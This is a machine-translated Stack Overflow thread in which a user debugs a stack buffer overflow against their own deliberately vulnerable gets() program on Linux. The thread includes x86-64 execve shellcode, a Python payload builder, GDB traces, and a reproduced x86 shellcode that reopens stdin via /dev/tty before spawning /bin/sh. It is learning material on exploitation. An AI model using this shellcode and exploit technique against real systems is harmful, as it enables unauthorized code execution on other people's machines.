一个简单的堆栈溢出的shellcode:shell被利用的程序在execve(“/ bin/sh”)后直接终止

问题描述:

我在Linux(amd64)上玩过缓冲区溢出,并试图利用一个简单的程序,但失败了。我禁用了安全功能(使用sysctl -w kernel.randomize_va_space = 0和bios中的nx位进行地址空间布局随机化)。它跳转到堆栈并执行shellcode,但它不启动shell。 execve系统调用成功,但之后它终止。任何想法有什么不对?运行shellcode独立运行很好。一个简单的堆栈溢出的shellcode:shell被利用的程序在execve(“/ bin/sh”)后直接终止

奖励问题:为什么在调用printf之前需要将rax设置为零? (见代码注释)

弱势文件buffer.s

.data 
.fmtsp: 
.string "Stackpointer %p\n" 
.fmtjump: 
.string "Jump to %p\n" 
.text 
.global main 
main: 
    push %rbp 
    mov %rsp, %rbp 

    sub $120, %rsp 

    # calling printf without setting rax 
    # to zero results in a segfault. why? 
    xor %rax, %rax 
    mov %rsp, %rsi 
    mov $.fmtsp, %rdi 
    call printf 

    mov %rsp, %rdi 
    call gets 

    xor %rax, %rax 
    mov $.fmtjump, %rdi 
    mov 8(%rbp), %rsi 
    call printf 

    xor %rax, %rax 
    leave 
    ret 

shellcode.s

.text 
.global main 
main: 
    mov $0x68732f6e69622fff, %rbx 
    shr $0x8, %rbx 
    push %rbx 
    mov %rsp, %rdi 
    xor %rsi, %rsi 
    xor %rdx, %rdx 
    xor %rax, %rax 
    add $0x3b, %rax 
    syscall 

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" 
stackpointer = "\x7f\xff\xff\xff\xe3\x28" 
output = shellcode 
output += 'a' * (120 - len(shellcode)) # fill buffer 
output += 'b' * 8 # override stored base pointer 
output += ''.join(reversed(stackpointer)) 
print output 

编译时:入门

$ gcc -o buffer buffer.s 
$ gcc -o shellcode shellcode.s 

$ python exploit.py | ./buffer 
Stackpointer 0x7fffffffe328 
Jump to 0x7fffffffe328 

用GDB进行调试:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) 
$ gdb buffer 
(gdb) run < exploit.txt 
Starting program: /home/henning/bo/buffer < exploit.txt 
Stackpointer 0x7fffffffe308 
Jump to 0x7fffffffe308 
process 4185 is executing new program: /bin/dash 

Program exited normally. 
+0

我想%rsi%是argv。它可以是NULL吗? – 2010-05-18 16:50:40

+0

直接执行shellcode(“$ ./shellcode”)的作品,所以我认为它应该没有问题。 The C equivalent #include void main(){execve(“/ bin/sh”,NULL,NULL); } 也启动一个shell。 – henning 2010-05-18 17:18:21

+0

你得到的错误是什么?你能弄清楚(我想这是%rax%)? – 2010-05-18 17:32:25

我有几乎同样的问题,现在与Ubuntu 9.10在虚拟机中。 禁用了操作系统的所有安全性测量,像“退出程序并将退出代码设置为42”这样的简单漏洞可以工作,但是当试图打开一个shell时,程序就会终止。 GDB的 输出是相同的:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 

Enter password: Sorry. Wrong password. 
Executing new program: /bin/bash 

Program exited normally. 
(gdb)

事情是,我需要它在大约工作。 16个小时的演示:-D


更新: 我发现这个整洁的研究:www.shell-storm.org/papers/files/539.pdf

在第16页,它说: “如果我们试图执行一个shell,它会立即在这个配置中终止”

在其他不使用gets()的例子中,它们很好地产生了一个shell。不幸的是,他们没有给出暗示,为什么它不这样工作。 :(


下一个更新: 看来它与标准输入做的外壳不能正确地使用它从原来的进程得到了一个我试图用最小的外壳,我发现了源代码的(evilsh)。它坠毁在它试图读取输入点。我的猜测是,庆典/破折号检查这一点,只是默默地什么是错的:标准输入退出。


好了,请不要杀我在这里与我自己对话,但...

我找到了解决方案!

出于某种原因,有必要重新打开输入。我发现了一个工作的shellcode这里:

http://www.milw0rm.com/shellcode/2040

我没有看到一个提示艰难的,但我可以运行使用打开的shell程序等。

+2

在我看来,stdin必须在shellcode中重新打开,因为shell会从共享stdin的Exploit.txt中读取“文件结束”。换句话说,当shell开始时,stdin的缓冲区包含“文件结束”,因为stdin是在shell和原始程序之间共享的。 – feirainy 2014-03-13 01:38:49

Zenoc提供的链接已死亡,但仍可在Wayback机器中找到。为了方便起见,我已在下面进行了转载。我必须在顶部包含add $0x10,%esp以给我更多的堆栈空间,因为代码中的所有push es都放入存储我的shellcode的缓冲区中。如果您想将其包含到shellcode中,只需在开头添加“\ x83 \ xc4 \ x10”即可。 shellcode是55个字节,没有我的加入,58个是。

/* 
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $ 
* 
* gets-linux.c - stdin re-open shellcode for Linux/x86 
* Copyright (c) 2003 Marco Ivaldi <[email protected]> 
* 
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh. 
* Useful to exploit some gets() buffer overflows in an elegant way... 
*/ 

/* 
* close(0) 
* 
* 8049380:  31 c0     xor %eax,%eax 
* 8049382:  31 db     xor %ebx,%ebx 
* 8049384:  b0 06     mov $0x6,%al 
* 8049386:  cd 80     int $0x80 
* 
* open("/dev/tty", O_RDWR | ...) 
* 
* 8049388:  53      push %ebx 
* 8049389:  68 2f 74 74 79   push $0x7974742f 
* 804938e:  68 2f 64 65 76   push $0x7665642f 
* 8049393:  89 e3     mov %esp,%ebx 
* 8049395:  31 c9     xor %ecx,%ecx 
* 8049397:  66 b9 12 27    mov $0x2712,%cx 
* 804939b:  b0 05     mov $0x5,%al 
* 804939d:  cd 80     int $0x80 
* 
* execve("/bin/sh", ["/bin/sh"], NULL) 
* 
* 804939f:  31 c0     xor %eax,%eax 
* 80493a1:  50      push %eax 
* 80493a2:  68 2f 2f 73 68   push $0x68732f2f 
* 80493a7:  68 2f 62 69 6e   push $0x6e69622f 
* 80493ac:  89 e3     mov %esp,%ebx 
* 80493ae:  50      push %eax 
* 80493af:  53      push %ebx 
* 80493b0:  89 e1     mov %esp,%ecx 
* 80493b2:  99      cltd 
* 80493b3:  b0 0b     mov $0xb,%al 
* 80493b5:  cd 80     int $0x80 
*/ 

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80" 
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80" 
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; 

main() 
{ 
    int (*f)() = (int (*)())sc; f(); 
} 

// milw0rm.com [2006-07-20] 

注意:由于编辑队列已满,我无法将其添加为Zenoc答案的编辑。

如果由于终端和gdb中的堆栈不同而难以查明shellcode的地址,请查看我的回答here